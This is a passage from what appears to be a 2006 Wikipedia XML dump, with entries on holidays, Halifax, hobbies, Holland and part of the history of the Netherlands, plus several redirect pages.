Some holidays that were once widely celebrated are less so today, for various reasons. One example of this fact is revealed by the assumption inherent in this bit of dialogue from the 1961 musical-comedy album, ''[[Stan Freberg]] Presents The United States of America, Volume One''. [[Christopher Columbus]], who has arrived in the [[New World]] just moments earlier, tells a [[Native American]] that he wants to cash a check...
*Native: &quot;You out of luck today. ''Banks closed''.&quot;
*Columbus: &quot;Oh? Why?&quot;
*Native: &quot;Columbus Day!&quot;

==No holidays?==
Referring to the original meaning of the term, [[Henny Youngman]] included this joke among his vast catalog of one-liners:

:&quot;I was an [[atheist]] for awhile, but I gave it up. No holidays!&quot;

Although Youngman's jest suggests that the list of holidays for a non-believer would necessarily be [[Empty set|the &quot;empty set&quot;]], many non-believers honor various holidays and &quot;holy&quot; days, and those of one faith often honor holidays of other faiths.

==See also==
{{cookbookpar|Holiday Recipes}}
*[[Federal holiday]]
*[[Bank Holiday]]
*[[Holiday heart syndrome]]
*[[D-Day]]
*[[Adventure tourism]]
*[[List of holidays by country]]
*[[List of holiday colors]]
*[[Annual observances in the United States]]
*[[Annual observances in the United Kingdom]]

== External links ==
* [http://directory.google.com/Top/Society/Holidays/Calendars_and_Lists/ Google category: Holidays -- Calendars and Lists]
* [http://www.support4learning.org.uk/religious_calendars/religious_calendars.cfm Sharp calendar of religious festivals]
* [http://abcnews.go.com/Health/story?id=276559&amp;page=1 ''Holiday Stress Brings Anxiety and Abuse''] (ABC News)
* [http://www.holidaysforum.com ''Holidays'] (Holidays forum)
* [http://www.siblu.com Family Holidays]



[[Category:Holidays|*]]
&lt;!-- The below are interlanguage links. --&gt;

[[ar:أعياد]]
[[cs:Svátek]]
[[da:Ferie]]
[[de:Feiertag]]
[[el:Αργία]]
[[eo:Festa kaj feria tago]]
[[fr:Fête]]
[[ga:Lá saoire]]
[[id:Hari raya]]
[[he:חג]]
[[ka:დღესასწაული]]
[[ms:Hari raya]]
[[nl:Feest- en gedenkdagen]]
[[ja:祝日]]
[[pl:Święto]]
[[pt:Feriado]]
[[sq:Festat]]
[[sk:Sviatok]]
[[fi:Loma]]
[[sv:Helgdag]]
[[tl:Pista]]
[[vo:Zeladel]]
[[zh:假日]]</text>
    </revision>
  </page>
  <page>
    <title>History of Science and Technology/Astronomy and Astrophysics</title>
    <id>13281</id>
    <revision>
      <id>15910898</id>
      <timestamp>2002-10-12T00:21:25Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>bypass redirect</comment>
      <text xml:space="preserve">#REDIRECT [[History of astronomy]]</text>
    </revision>
  </page>
  <page>
    <title>History of Science and Technology/Scientists and inventors</title>
    <id>13283</id>
    <revision>
      <id>15910899</id>
      <timestamp>2002-08-25T14:46:15Z</timestamp>
      <contributor>
        <username>DavidLevinson</username>
        <id>1689</id>
      </contributor>
      <comment>#REDIRECT[[List of scientists]]</comment>
      <text xml:space="preserve">#REDIRECT[[List of scientists]]</text>
    </revision>
  </page>
  <page>
    <title>Halifax</title>
    <id>13285</id>
    <revision>
      <id>41068093</id>
      <timestamp>2006-02-24T21:21:17Z</timestamp>
      <contributor>
        <ip>199.43.48.67</ip>
      </contributor>
      <text xml:space="preserve">'''''Halifax''''' can refer to any of several things:

==Canada==
* [[Halifax Regional Municipality, Nova Scotia]]
* [[Halifax, Nova Scotia (former city)]]
* [[Halifax County, Nova Scotia]]
* [[Halifax (electoral district)]] (Canada)
* [[Halifax International Airport]] (Canada)

==Namibia==
* [[Halifax Island]]

==United Kingdom==
* [[Halifax, West Yorkshire]]
* [[Halifax (UK Parliament constituency)]]
* [[Halifax (bank)|Halifax bank]]
* [[Halifax College]] at the [[University of York]]
* [[Halifax RLFC]]

==United States==
* [[Halifax, Massachusetts]] (town, United States)
* [[Halifax, North Carolina]] (town, United States)
* [[Halifax, Pennsylvania]] (town, United States)
* [[Halifax, Vermont]] (town, United States)
* [[Halifax, Virginia]] (town, United States)
* [[Halifax County, North Carolina]] (county, United States)
* [[Halifax County, Virginia]] (county, United States)

==Weaponry==
* [[Handley Page Halifax]] (bomber)
* [[Halifax class frigate|''Halifax''-class frigate]]
* [[HMCS Halifax (FFH 330)|HMCS ''Halifax'' (FFH 330)]]

==Events==
* The [[1917]] [[Halifax explosion]]

==Music==
* [[Halifax (band)]], an American pop punk band
* [[The Halifax Three]], a 1960s Candadian folk music band

==People==
* [[Earl of Halifax]], The
* [[Edward Wood, 1st Earl of Halifax]] 

==Television==
* [[Halifax_f.p._(TV_series)|Halifax f.p.]] (television show)


{{disambig}}
[[af:Halifax]]
[[de:Halifax]]
[[fr:Halifax]]
[[he:הליפקס]]
[[it:Halifax]]
[[no:Halifax]]</text>
    </revision>
  </page>
  <page>
    <title>Handgun</title>
    <id>13286</id>
    <revision>
      <id>15910902</id>
      <timestamp>2005-04-15T18:29:10Z</timestamp>
      <contributor>
        <username>BerserkerBen</username>
        <id>152885</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[pistol]]</text>
    </revision>
  </page>
  <page>
    <title>Hobby</title>
    <id>13287</id>
    <revision>
      <id>40921265</id>
      <timestamp>2006-02-23T22:15:35Z</timestamp>
      <contributor>
        <username>Daniel Case</username>
        <id>163732</id>
      </contributor>
      <comment>rm link spam</comment>
      <text xml:space="preserve">{{otheruses}}
A '''hobby''' is a spare-time recreational pursuit.   

== Origin of term ==

In the [[Middle Ages]], [[falconry]] was a very popular pastime (what today might be called a ''hobby''), and of all the different birds used for it, the [[Eurasian Hobby]] was perhaps the most popular. It is said that the modern use of ''hobby'' to indicate a pastime followed from this.

An alternative explanation is that the usage grew from another recreational animal called ''hobby'': which was a type of small ambling or pacing horse. 

A ''hobby-horse'' was a wooden or [[wickerwork]] toy made to be ridden just like the real hobby. From this came the expression &quot;to ride one's hobby-horse&quot;, meaning &quot;to follow a favourite pastime&quot;, and in turn, ''hobby'' in the modern sense of [[recreation]].

== Purposes ==

Hobbies are practised for interest and enjoyment, rather than financial reward.  Examples include [[collecting]], making, tinkering, [[sport]]s and adult education.  Engaging in a hobby can lead to acquiring substantial skill, knowledge, and experience. However, personal fulfillment is the aim.

What are hobbies for some people are professions for others: a [[game tester]] may enjoy [[cooking]] as a hobby, while a professional [[chef]] might enjoy playing (and helping to debug) [[Computer and video games|computer games]]. Generally speaking, the person who does something for fun, not remuneration, is called an [[amateur]] (or hobbyist), as distinct from a [[professional]].

An important determinant of what is considered a hobby, as distinct from a [[profession]] (beyond the lack of remuneration), is probably how easy it is to make a living at the activity.  Almost no one can make a living at [[cigarette card]] or stamp collecting, but many people find it enjoyable; so it is commonly regarded as a hobby.

[[Astronomy]] is a hobby in that the amateurs often make meaningful contributions to the professionals.  It is not entirely uncommon for an amateur astronomer to be the first to discover a [[celestial body]] or [[celestial event|event]].

In the [[United Kingdom|UK]], the pejorative noun ''[[Anorak (slang)|anorak]]'' (similar to the Japanese &quot;[[otaku]]&quot;, meaning a geek or enthusiast) is often applied to people who obsessively pursue a particular hobby.

== Development of hobbies into other ventures ==

Whilst some hobbies strike many people as trivial or boring, hobbyists have found something compelling and entertaining about them (see [[geek]]).  Much early scientific research was, in effect, a hobby of the wealthy; more recently, [[Linux]] began as a student's hobby. A hobby may not be as trivial as it appears at a point in time when it has relatively few followers. Thus a British [[conservationist]] recalls that when seen wearing field glasses at a London station in the 1930s he was asked if he was going to the (horse) races. The anecdote indicates that at the time an interest in wildlife was not widely perceived as a credible hobby. Practitioners of that hobby went on to become the germs of the [[conservation movement]] that flourished in Britain from 1965 onwards and became a global political movement within a generation. Conversely, the hobby of [[aircraft spotting]] probably originated as part of a serious activity designed to detect arriving waves of enemy aircraft entering English airspace during [[World War II]]. In peacetime it clearly has no such practical or social purpose.

Pursuit of a hobby may have calming or helpful therapeutic side effects. In some cases, however, (for example in collecting) the line between a hobby and an obsession can become blurred. There is more than one documented case of violence over things as simple as coin collecting.

== See also ==
*[[List of hobbies]]
*[[Quality time]]
*[[Hobby-horse]]

[[Category:Hobbies|*]]
&lt;!-- The below are interlanguage links. --&gt;

[[bn:শখ]]
[[cs:Hobby]]
[[da:Hobby]]
[[de:Hobby]]
[[es:Pasatiempo]]
[[eo:Ŝatokupo]]
[[fa:سرگرمی‌ها]]
[[fy:Leafhawwerij]]
[[ga:Caitheamh aimsire]]
[[ko:취미]]
[[hr:Hobi]]
[[it:Hobby]]
[[ka:ჰობი]]
[[lt:Hobis]]
[[hu:Hobbi]]
[[ms:Hobi]]
[[nap:Spassatiempe]]
[[nl:Hobby]]
[[ja:趣味]]
[[pl:Hobby]]
[[pt:Passatempo]]
[[ru:Хобби]]
[[simple:Hobby]]
[[sl:Konjiček]]
[[sr:Хоби]]
[[fi:Harrastus]]
[[sv:Hobby]]
[[th:งานอดิเรก]]
[[uk:Гобі]]</text>
    </revision>
  </page>
  <page>
    <title>Holland</title>
    <id>13288</id>
    <revision>
      <id>41234917</id>
      <timestamp>2006-02-25T23:42:06Z</timestamp>
      <contributor>
        <username>Bidabadi</username>
        <id>726723</id>
      </contributor>
      <minor />
      <comment>wrong interwiki</comment>
      <text xml:space="preserve">{{dablink|This article is about the region in the [[Netherlands]]. For other uses, see [[Holland (disambiguation)]]. &quot;Holland&quot; is often used in [[English language|English]], [[German language|German]], and other languages to mean the whole of the [[Netherlands]].}}

'''Holland''' is a region in the central-western part of the [[Netherlands]]. Holland is a former [[county]] of the [[Holy Roman Empire]], ruled by the [[Count of Holland]], and later the leading member of the [[Republic of the Seven United Provinces of the Netherlands]] (''Republiek der Zeven Verenigde Nederlanden'', [[1581]]&amp;ndash;[[1795]]).
[[image:netherlands_map_large.png|thumb|400px|North Holland and South Holland lie along the western coast of the Netherlands.]]

The area is today divided between two [[Provinces of the Netherlands|provinces]] of the Netherlands: [[North Holland]] (Noord-Holland) and [[South Holland]] (Zuid-Holland) that were created in [[1840]]. A few regions that were historically Hollandic became part of other provinces as a result of reforms during the French occupation ([[1795]]-[[1813]]): [[Moerdijk|Willemstad]] and surroundings, [[Biesbosch]] and the [[Land van Altena]] became part of [[North Brabant]]. In [[1940]], after the [[The Netherlands in World War II|German occupation of the Netherlands]], the [[island]]s of [[Vlieland]] and [[Terschelling]] went to [[Friesland]]. This was not changed back after [[World War II]]. In [[1950]], the island of [[Urk]] went to [[Overijssel]] (in [[1986]] to [[Flevoland]]). More recent territorial changes are the transfer of [[Oudewater]], [[Woerden]] and [[Vianen]] from South Holland to the [[Utrecht (province)|province of Utrecht]], in [[1970]], [[1989]] and [[2002]] respectively.

The name ''Holland'' ultimately stems from ''holt land'' (&quot;wooded land&quot;). A popular, but incorrect, [[fake etymology]] holds that it is derived from ''hol land'' (&quot;hollow land&quot;), inspired by the [[low-lying]] [[geography]] of both the [[Dutch]] and the English region ([[Holland, Lincolnshire]]). 

The province of Holland was the cultural, political and economic center of the United Provinces. The greatest cities of the provinces were located within the province of Holland such as [[Amsterdam]] (the capital), [[Rotterdam]], [[Leiden]], [[Alkmaar]], [[the Hague]] (the seat of government), [[Delft]] and [[Haarlem]].Today, together with [[Utrecht]], this group of cities form what is called [[Randstad]] Holland. From the great port cities of Holland, Dutch [[merchants]] sailed to and from destinations all over [[Europe]], and merchants from all over Europe gathered to trade in the warehouses of Amsterdam and other trading cities of Holland. As a result, many Europeans heard of the United Provinces first as &quot;Holland&quot; rather than &quot;Republic of the Seven United Provinces of the Netherlands&quot;. This tradition continues to this day.

Thus, even though it is officially incorrect, the word ''Holland'' is often used by both Dutch (speaking) and foreign people to denote the entire Netherlands, possibly because &quot;The Netherlands&quot; (&quot;Nederland&quot; in Dutch) is more cumbersome. People from the other provinces of the Netherlands (such as [[Friesland]], [[Groningen_(province)|Groningen]], [[North Brabant]], [[Zeeland]], etc.) are often offended when referred to as &quot;Hollanders&quot;.

However, from [[1806]]-[[1810]], there did exist the [[Napoleonic]] [[Kingdom of Holland]], which included much of the modern Netherlands.

==History==
===County of Holland===
Holland arose as a [[county]] of the [[Holy Roman Empire]] in the [[9th century]]. The [[count of Holland|counts of Holland]] were also counts of [[Hainaut]], [[Flanders]] and [[Zeeland]] for several periods in the [[13th century|13th]]-[[15th century]]. In [[1432]], Holland became part of the [[Burgundian Netherlands]], and after [[1477]] of the [[Habsburg]] [[Seventeen Provinces]]. 

===United Provinces===
In the [[Eighty Years' War]] ([[1568]]-[[1648]]), the northern Dutch provinces, including Holland, successfully broke away from Habsburg-[[Spain|Spanish]] rule. Holland became the most prominent and prosperous part of the [[Dutch Republic|United Provinces]].

===After 1795===

The formation of the [[Batavian Republic]], inspired by the [[French revolution]], led to a more centralized government. The dominance of Holland was reduced by an administrative reform in [[1798]], in which its territory was divided over several departments: ''Amstel'', ''Delf'', ''Texel'', and (part of) ''Schelde en Maas''. During the French occupation ([[1810]]-[[1813]]), Holland was divided over the ''[[département in France|département]]s'' [[Zuyderzée]] and [[Bouches-de-la-Meuse]]. After [[1813]], Holland was restored as a province of the [[Netherlands]]. It was divided into the present provinces [[North Holland]] and [[South Holland]] in 1840.

== See also ==
* [[Count of Holland]]
* [[Counts of Holland family tree]]
* [[List of pensionaries]]
* [[The Netherlands]]

[[Category:Former polities in the Netherlands|Holland]]
[[Category:States of the Holy Roman Empire]]

[[zh-min-nan:Hô-lân (tē-tài)]]
[[ca:Holanda]]
[[cs:Holandsko]]
[[de:Holland]]
[[es:Holanda]]
[[eo:Holando]]
[[fr:Hollande]]
[[nl:Holland]]
[[no:Holland]]
[[pt:Holanda (região)]]
[[ru:Голландия]]
[[sv:Holland]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Netherlands</title>
    <id>13289</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41785995</id>
      <timestamp>2006-03-01T19:10:40Z</timestamp>
      <contributor>
        <ip>80.60.82.167</ip>
      </contributor>
      <comment>/* Pre-history era */</comment>
      <text xml:space="preserve">{{featured article}}
[[Image:Rembrandt_Conspiracy_of_Julius_Civilis.jpg.JPG|thumb|250px|right|''The Conspiracy of Julius Civilis'', completed in 1661 by [[Rembrandt Harmenszoon van Rijn|Rembrandt]], the best-known painter of the [[Dutch Golden Age]]. It depicts a [[Batavii|Batavian]] oath to [[Gaius Julius Civilis]], the head of the [[Batavian rebellion]] against the [[ancient Rome|Romans]] in 68 AD. It was to be hung in the city hall of [[Amsterdam]], as a display of heroism analogous to that of the recent [[Eighty Years' War]], that had led to independence from [[Spain]]. However, it was rejected because Rembrandt did not paint the figures as idealisations, but as real people.]]

''The history of the [[Netherlands]] is closely related to that of the [[Low Countries]]; it was not until the 16th century that an independent state roughly corresponding to the present-day country was established. As a consequence, the geographical scope of this article sometimes extends to the southern parts of the Low Countries. Conversely, a  large part of what is now the Netherlands was sea or swamp well into the Middle Ages.''

If one took the oldest signs of human activity as a starting point for the '''history of the Netherlands''', then such a history would span at least two hundred fifty thousand years. It was, however, not until the arrival of the [[ancient Rome|Romans]], who annexed the southern part of the present-day country, that written sources on its inhabitants became abundant. At the time of the Roman occupation, the country was inhabited by various [[Germanic tribes]], and the south was inhabited by Celts, who merged with newcomers from other Germanic tribes during the [[Völkerwanderung]] following the fall of the Roman empire.

In the medieval period, the [[Low Countries]] (roughly present-day [[Belgium]] and [[the Netherlands]]) consisted of various [[countship|countships]], [[duchy|duchies]] and [[diocese|dioceses]] belonging to the [[Holy Roman Empire]]. These were united into one state under [[Habsburg]] rule in the 16th century. The [[Counter-Reformation]] following the success of [[Calvinism]] in the Netherlands, and the attempts to centralise government and supress religious diversity led to a revolt against [[Philip II of Spain]]. On [[26 July]] [[1581]], independence was declared, and finally recognised after the [[Eighty Years' War]] (1566-1648). The years of the war also marked the beginning of the [[Dutch Golden Age]], a period of great commercial and cultural prosperity roughly spanning the 17th century.

After the French occupation at the beginning of the 19th century, [[the Netherlands]] started out as a monarchy, governed by the [[House of Orange]]. However, after a conservative period, strong [[liberalism|liberal]] sentiments could no longer be ignored, and the country became a [[parliamentary democracy]] with a [[constitutional monarch]] in 1848. It has remained so to this day, with a brief interruption during the [[Netherlands in World War II|occupation by Nazi Germany]].

[[The Netherlands]] is now a modern, [[Industrialisation|industrialised]] nation and a large exporter of [[agricultural]] products. International trade (literally 'overseas') has always been a central aspect of the Dutch economy (also influencing the culture) and was also an important reason for the struggle for independence and cause of the ensuing wealth.

==Pre-history era==
The [[Netherlands]] have been inhabited since the last [[ice age]]; the oldest remnants that have been found are a hundred thousand years old. During the last ice age, the Netherlands had a [[tundra]] climate with very scarce vegetation. The first inhabitants survived as hunter-gatherers. After the end of the ice age, the area was inhabited by various palaeolithic groups. One group even made canoes (Pesse, around 9000 BC) and after that, around 8000 BC, a mesolithic tribe resided near Bergumermeer (Friesland).

'''[[Agriculture]]''' arrived in the Netherlands somewhere around 5000 BC, by the [http://angelfire.com/me/ij '''Linear Pottery Culture'''] (probably Central European farmers) but was only practised on the [[loess]] [[plateau]] in the very south (Southern [[Limburg]]). Their knowledge was not used to build farms in the rest of the Netherlands owing to a lack of animal domestication and proper tools.

After the first farmers left the Netherlands around 4500 BC, only hunters and gatherers remained, (with a '''Swifterband''' settlement around 4300 BC as an exception) such as the hunters of the '''Vlaardingen''' culture (around 2600 BC).&lt;br&gt;
Later, the first notable remains of Dutch prehistory was erected: the [[dolmens]], large stone grave monuments. They are found in the province of [[Drenthe]], and were probably built by people of the farming [[Funnelbeaker culture]] between 4100 and 3200 BC.&lt;br&gt;
To the west, the same tribes might have built hunting camps to hunt winter game, such as seals. There is even some evidence of small settlements in the west.&lt;br&gt;
The first evidence of the use of a ''wheel'' dates from about 2400 BC. This could likely have been made by someone, related to the '''Bellbeaker culture''' (Klokbeker cultuur). This culture also experimented with copper working, of which some evidence (stone anvils, copper knives, a copper spearhead) was found on the Veluwe. Each copper finding shows that there was trade with other &quot;countries&quot;, as natural copper cannot be found in the Dutch soil.

The '''[[Bronze age]]''' [http://angelfire.com/me/ik/index.html] probably started somewhere around 2000 BC. The bronze tools in the grave of &quot;The smith of Wageningen&quot; illustrated their quest for knowledge. ([http://home.versatel.nl/postbus/pics1.html Typical Dutch Bronze Age items]) After this finding, more Bronze Age findings appear, such as Epe, Drouwen, etc. The many findings of rare (and therefore valuable) objects such as tin beads on a necklace in Drenthe suggest Drenthe as a trade centre of the Netherlands in the Bronze Age. &lt;br&gt; The stock of broken bronze objects, meant to recycle (Voorschoten) tells us something about the value of bronze in the Bronze Age, which lasted until about 800 BC.
[http://home.versatel.nl/postbus/images/typ.jpg Typology of Dutch Bronze Age axes] Typical Bronze Age objects are: knives, swords, axes, fibuale, bracelets, etc. Most Bronze Age objects were found in Drenthe. One item shows that merchants travelled far: large bronze situalae (buckets) were manufactured somewhere in eastern France or in Switzerland, for mixing wine with water (a Roman / Greek custom).

The '''[[Iron Age]]''' brought fortune to the Netherlands, because iron ore was found in the North (&quot;moeras ijzererts&quot;) as well as in the centre (natural &quot;balls&quot; with iron in them, at the Veluwe) as well as in the South (red iron ore near the rivers in Brabant). The smiths could thus travel from small settlement to settlement with bronze and iron, fabricating tools on-demand such as axes, knives, pins, arrowheads, swords, etc. There is even evidence of the use of &quot;damast-forging&quot;; an advanced way to forge metal (swords) with the advantage of flexible iron with the strength of steel.&lt;br&gt;
The wealth of the Netherlands in the Iron Age can be shown via the &quot;King's grave in Oss&quot; (about [[500 BC]]). There, a true king was buried with some extraordinary objects: an [http://home.versatel.nl/postbus/images/zwoss.jpg iron sword with an inlay of gold and coral]. He was buried in the largest grave mound of Western Europe, which was 52 m wide!

At the time of the [[Roman Empire|Roman]] arrival, [[the Netherlands]] were inhabited by various [[Germanic tribes]], who had settled there since around 600 BC, such as the [[Tubanti]], the [[Canninefates]], the [[Frisians]]. Celtic tribes settled the south, among them the [[Eburones]], [[Menapii]] and [[Texuandri]]. Several Germanians settled in the Rhine delta at the beginning of the Roman settlement, and formed the Germanic tribe of the [[Batavii]]. The [[Batavii]] were regarded as good soldiers and fought in many important wars, for instance the conquest of [[Dacia]], (Rumania) by emperor [[Trajan]]. In later [[nationalism|nationalistic]] views, the [[Batavii]] were sometimes regarded as the &quot;true&quot; forefathers of the Dutch, as reflected in the name of the later ''[[Batavian Republic]]''.

== Roman era ==
After [[Julius Caesar]] conquered Gaul, he conquered [[Belgium]] and The Netherlands around the year 58 BC, which made it the northern border of the European mainland.   
They built the first cities and created the [[Roman province]] of [[Germania Inferior]].  For most of the area of Roman occupation in the Netherlands, the boundary of the Roman Empire lay along the [[Rhine]]. Romans built the first military forts and cities in the Netherlands. The most important of these were [[Utrecht (city)|Utrecht]], [[Nijmegen]], and [[Maastricht]].  The northern part of the Netherlands, which was outside the Roman Empire and where the [[Frisians]] lived (and still do), was also heavily influenced by its strong southern neighbour. The Romans also introduced writing.

The relationship with the original inhabitants was on the whole quite good; many [[Batavians]] even served in the [[Ala (Roman military)|Roman cavalry]]. Batavian culture was influenced by the Roman one, resulting among other things in Roman-style temples such as the one in [[Elst]], dedicated to local gods. Also the trade flourished:  the salt used in the Roman empire was won from the North Sea and remains are found across the whole Roman empire. However, this did not prevent the [[Batavian rebellion]] of 69 AD, a [http://home.versatel.nl/postbus/batavians.html very successful revolt] under the leadership of Batavian [[Gaius Julius Civilis]]. Forty '''castellae''' were burnt down because the Romans violated the rights of the Batavian leaders by taking young Batavians as their slaves.  Other Roman soldiers (like those in Xanten and the auxiliary troops of Batavians and Caninefatae from the legions of Vitellius) joined the revolt, which split the northern part of the Roman army. April 70 AD, Vespasianus sent a few legions to stop the revolt. Their commander, Petilius Cerialis, eventually defeated the Batavians and started negotiations with Julius Civilis on his home ground, somewhere between the Waal and the Maas near Noviomagus (Nijmegen) or&amp;mdash;as the Batavians probably called it&amp;mdash;Batavodurum.
&lt;br&gt;''(Source: ''Historiae'' by Tacitus, 1st century AD)''. [http://www.ru.nl/ahc/vg/html/vg000232.htm Translation into Dutch by the Radboud Universiteit, Nijmegen]

The Roman civilisation in the area was eventually overrun in the mass migration of [[Germanic tribes|Germanic]] peoples (later known as the ''[[Völkerwanderung]]'').

== Holy Roman Empire ==
The newcomers merged with the original inhabitants to create three peoples in the [[Low Countries]]: the [[Frisians]] along the coast, the [[Saxons]] in the east and the [[Franks]] in the south. The Franks became [[Christians]] after their king [[Clovis I]] converted in 496. Christianity was introduced in the north after the conquest of Friesland by the Franks. Anglo-Saxon missionaries such as [[Willibrord]], [[Wulfram of Sens|Wulfram]] and [[Boniface]] were active in converting these tribes to Christianity. Boniface was martyred by the Frisians in [[Dokkum]] (754). The Saxons in the east were converted before the conquest of Saxony, and became Frankish allies.

The Netherlands belonged to the Frankish empire of [[Charlemagne]], with its heartland in what is today [[Belgium]] and northern [[France]], and spanning [[France]], [[Germany]], northern [[Italy]] and much of Western Europe. In 843, the Frankish empire was divided into three parts, giving rise to France in the west, Germany in the east and a middle empire that lay between the two. Most of the Netherlands was part of the middle empire. Later this middle empire was split: most of the Dutch-speaking lands became a part of Germany; Flanders became part of France.

From 800 AD to 1000 AD, the Low Countries suffered considerably from [[Viking]] raids (one of which destroyed the wealthy city of [[Dorestad]]). Most of the Netherlands was occupied by the Vikings from 850 to 920. This was about the same time that France and Germany were fighting for supremacy over the middle empire. The Vikings wanted to restore the Frisian kingdom which they had lost 150 years earlier to the Franks. Resistance to the Vikings, if any, came from local nobles, who gained in stature as a result. Viking supremacy ended in 920 when King [[Henry]] of Germany liberated [[Utrecht (city)|Utrecht]]. 

The German kings and emperors dominated the Netherlands in the 10th and 11th century. Germany was called the [[Holy Roman Empire]] after the coronation of King Otto the Great as emperor. The Dutch city of Nijmegen used to be the spot of an important domain of the German emperors. Several German emperors were born and died there. (Byzantine empress Theophanu died in Nijmegen for instance.) Utrecht was also an important city and trading port at the time. German officials closely watched the count of Westfriesland (Holland) in the Rhine delta. The count rebelled in 1018. The county was destined to become a part of [[Utrecht]] after 1018, but the difficulties between the pope and the emperor saved the county.

Much of the western Netherlands (what is today Holland) was barely inhabited between the end of the Roman period and around 1100. Around 1000, Frankish farmers from Flanders and Utrecht began purchasing the swampy land, draining it and cultivating it. This process happened quickly and the uninhabited territory was settled in only a few generations. They built independent farms that were not part of villages, something unique in Europe at the time. Before this happened the language and culture of most of the people who lived in the area that is now Holland were [[Frisian]]. The area was known as &quot;West Friesland&quot; (''Westfriesland''). As settlement progressed, the area slowly dutchified, i.e. became more Frankish. This area became known as '[[Holland]]' in the 12th century. (The part of North Holland situated north of [[IJ (bay)|'t IJ]] is still colloquially know as West Friesland).

Around 1000 AD there were several agricultural developments (described sometimes as an agricultural revolution) that resulted in an increase in production, especially food production. The economy started to develop at a fast pace, and the higher productivity allowed workers to farm more land or to become tradesmen. [[Guilds]] were established and markets developed as production exceeded local needs. Also, the introduction of [[currency]] made trading a much easier affair than it had been before. Existing towns grew and new towns sprang into existence around monasteries and castles, and a mercantile middle class began to develop in these urban areas. Commerce and town development increased as the population grew.

The [[Crusade|crusades]] were popular in the Low Countries and drew many to fight in the [[Holy Land]]. At home, there was relative peace in Europe. Viking, Hungarian and Muslim pillaging had stopped. 
Both the Crusades and the relative peace at home contributed to trade and the growth in commerce.

Cities arose and fluorished, especially in [[Flanders]] and [[Brabant]]. As the cities grew in wealth and power, they started to buy certain privileges for themselves from the [[monarch|sovereign]], including [[City rights in the Netherlands|city rights]], the right to self-government and the right to pass laws. In practice, this meant that the wealthiest cities became quasi-independent [[Republic|republics]] in their own right. Two of the most important cities were [[Brugge]] and [[Antwerp]] which would later develop into some of the most important cities and ports in Europe. 

The Holy Roman Empire was not able to maintain political unity in the Low Countries. In addition to the growing independence of the towns, local rulers turned their counties and duchies into private kingdoms and felt little sense of obligation to the emperor who governed over large parts of the nation in name only. Large parts of what now comprise the Netherlands were governed by the Count of [[Holland]], the Duke of [[Gelre]], the Duke of [[Brabant]] and the Bishop of [[Utrecht (province)|Utrecht]]. [[Friesland]] and [[Groningen (province)|Groningen]] in the north maintained their independence and were governed by the lower nobility. 

The various feudal states were in a state of almost continual war. [[Gelre]] and [[Holland]] fought for control of [[Utrecht (province)|Utrecht]]. Utrecht, whose bishop had in 1000 ruled over half of what is today the Netherlands, was marginalised as it experienced continuing difficulty in electing new bishops. At the same time, the dynasties of neighbouring states were more stable. [[Groningen (province)|Groningen]], [[Drenthe]] and most of [[Gelre]], which used to be part of Utrecht, became independent. [[Brabant]] tried to conquer its neighbours, but was not successful. [[Holland]] also tried to assert itself in Zeeland and [[Friesland]], but its attempts failed.

[[Friesland]] in the north continued to maintain its independence during this time. It had its own institutions (collectively called the &quot;Frisian Freedom&quot;) and resented the imposition of the feudal system and the patriciate found in other European towns. They regarded themselves as allies of Switzerland. The Frisian battle cry was &quot;better dead than a slave&quot;. They later lost their independence when they were defeated in 1498 by the German [[Landsknecht]] mercenaries of Duke Albrecht of Saxony-Meissen. 

{{History Benelux states}}

== Burgundian period ==
Most of what is now the [[Netherlands]] and [[Belgium]] was eventually united by the Duke of [[Burgundy]] in 1433. Before the Burgundian union, the Dutch identified themselves by the town where they lived, their local duchy or county or as subjects of the Holy Roman Empire. The Burgundian period is when the Dutch began the road to nationhood. 

The conquest of the county of Holland by the Duke [[Philip the Good]] of Burgundy was an odd affair. Leading noblemen in Holland in fact invited the duke to conquer Holland, even though he had no historical claim to it. Some historians say that the ruling class in Holland wanted Holland to integrate with the Flemish economic system and adopt Flemish legal institutions. Europe had been wracked by many civil wars in the 14th and 15th centuries, while Flanders had grown rich and enjoyed peace. 

After a few years of conflict, the countess of Holland was deposed in favour of the Burgundian dukes. Holland's trade developed rapidly, especially in the area of shipping and transport. The new rulers defended Dutch trading interests. The fleets of Holland defeated the fleets of the [[Hanseatic League]] several times. Amsterdam grew and in the 15th century became the primary trading port in Europe for grain from the Baltic region. Amsterdam distributed grain to the major cities of Belgium, Northern France and England. This trade was vital to the people of Holland, because Holland could no longer produce enough grain to feed itself. Land drainage had caused the peat of the former [[wetland]]s to reduce to a level that was too low for drainage to be maintained. 

[[Gelre]] resented Burgundian rule. It tried to build up its own state in northeast Netherlands and northwest Germany. Lacking funds in the 16th century, [[Gelre]] had its soldiers provide for themselves by pillaging enemy terrain. These soldiers were a great menace to the Burgundian Netherlands. One notorious event was the pillaging of The Hague. [[Gelre]] was allied with France, England and Denmark, who wanted to put an end to the wealth of Holland and Burgundian rule over the Low Countries.

== Struggle for independence and the Golden Age ==
=== Eighty Years' War ===
:''For details, see the main [[Eighty Years' War]] article.''

[[Image:Netherlands flag prince.png|right|thumb|150px|Flag of the revolt &amp;mdash; orange, white, blue]]
Through inheritance and conquest, all of the [[Low Countries]] became possessions of the [[Habsburg]] dynasty under [[Charles V, Holy Roman Emperor|Charles V]] in the 16th century, who united them into one state. The east of the Netherlands was occupied only a few decades before the Dutch struggle for independence. However, in 1548, eight years before his abdication from the throne, Emperor Charles V granted the [[Seventeen Provinces]] of the Netherlands status as an entity separate from both the Empire and from [[France]]. This [[Pragmatic Sanction]] of 1548 was not full independence, but it allowed significant autonomy.

Charles was succeeded by his son [[Philip II of Spain]]. Unlike his father, who had been raised in [[Ghent]] ([[Belgium]]), Philip had little personal attachment to the Low Countries (where he had only stayed for four years), and thus was perceived as detached by the local nobility. A devout [[Catholic]], Philip was appalled by the success of the [[Reformation]] in the [[Low Countries]], which had led to an increasing number of [[Calvinism|Calvinists]]. &quot;On February 16, 1568 a sentence of the Holy Office condemned all the inhabitants of the Netherlands to death as heretics. From this universal doom only a few persons, especially named, were acquitted. A proclamation of the king, dated ten days later, confirmed this decree of the Inquisition and ordered it to be carried out into instant execution without regard to age and sex. This is the most concise death warrant that had ever been framed. Three million people&amp;mdash;men, women and children&amp;mdash;were sentenced to the scaffold.&quot; (The Rise of the Dutch Republic , by John Lathrop Motley, Volume 1, Part 2, Chapter 2, par. 12, p. 2.) His attempts to enforce religious persecution of the Protestants and his endeavours to centralise government, justice and taxes made him 